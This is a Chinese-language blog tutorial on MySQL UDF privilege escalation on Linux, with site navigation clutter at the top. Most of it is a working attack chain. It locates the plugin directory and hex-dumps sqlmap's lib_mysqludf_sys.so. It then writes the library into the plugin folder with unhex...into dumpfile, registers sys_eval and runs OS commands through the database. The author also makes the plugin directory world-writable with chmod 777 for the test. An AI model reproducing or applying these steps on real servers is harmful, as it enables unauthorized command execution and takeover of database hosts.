视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
LinuxUDFMysql提权_MySQL
2020-11-09 19:59:36 责编:小采
文档


环境:

os:linux(bt5)

database:mysql

简述:

通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。

要求:

在mysql库下必须有func表,并且在skipgranttables开启的情况下,UDF会被禁止;

过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

?
1234567

mysql> show variableslike"%plugin%";

+---------------+-----------------------+

| Variable_name | Value |

+---------------+-----------------------+

| plugin_dir| /usr/lib/mysql/plugin |

+---------------+-----------------------+

1 rowinset(0.00 sec)

2,找对应操作系统的udf库文件

因为自己测试,看了下自己系统的版本,位

root@bt:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_ GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

?
123456

root@bt:/pentest/database/sqlmap/udf/mysql# ls

linuxwindows

root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls

root@bt:/pentest/database/sqlmap/udf/mysql/linux/# ls

lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过

mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux//lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

Query OK, 1 row affected (0.04 sec)

因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限

root@bt:~# chmod 777 /usr/lib/mysql/plugin

数据库中写入udf库到mysql库目录:

mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

Query OK, 1 row affected (0.04 sec)

查看下这个udf库所支持的函数

?
1234567101112131415161718192021222324252627282930313233343536373839404142

root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so

w _Jv_RegisterClasses

A __bss_start

w __cxa_finalize

w __gmon_start__

A _edata

A _end

T _fini

0000000000000ba0 T _init

U fgets

U fork

U free

U getenv

000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit

T lib_mysqludf_sys_info_init

U malloc

U mmap

U pclose

U popen

U realloc

U setenv

U strcpy

U strncpy

0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init

T sys_exec

0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init

U sysconf

U system

U waitpid

最后,加载函数并执行:

?
1234567101112131415161718

mysql>createfunctionsys_evalreturnsstring soname"mysqludf.so";

Query OK, 0rowsaffected (0.14 sec)

mysql>selectsys_eval('whoami');

+--------------------+

| sys_eval('whoami') |

+--------------------+

| mysql|

+--------------------+

1 rowinset(0.04 sec)

mysql>select*frommysql.func;

+----------+-----+-------------+----------+

|name | ret | dl| type |

+----------+-----+-------------+----------+

| sys_eval | 0 | mysqludf.so |function|

+----------+-----+-------------+----------+

1 rowinset

下载本文
显示全文
专题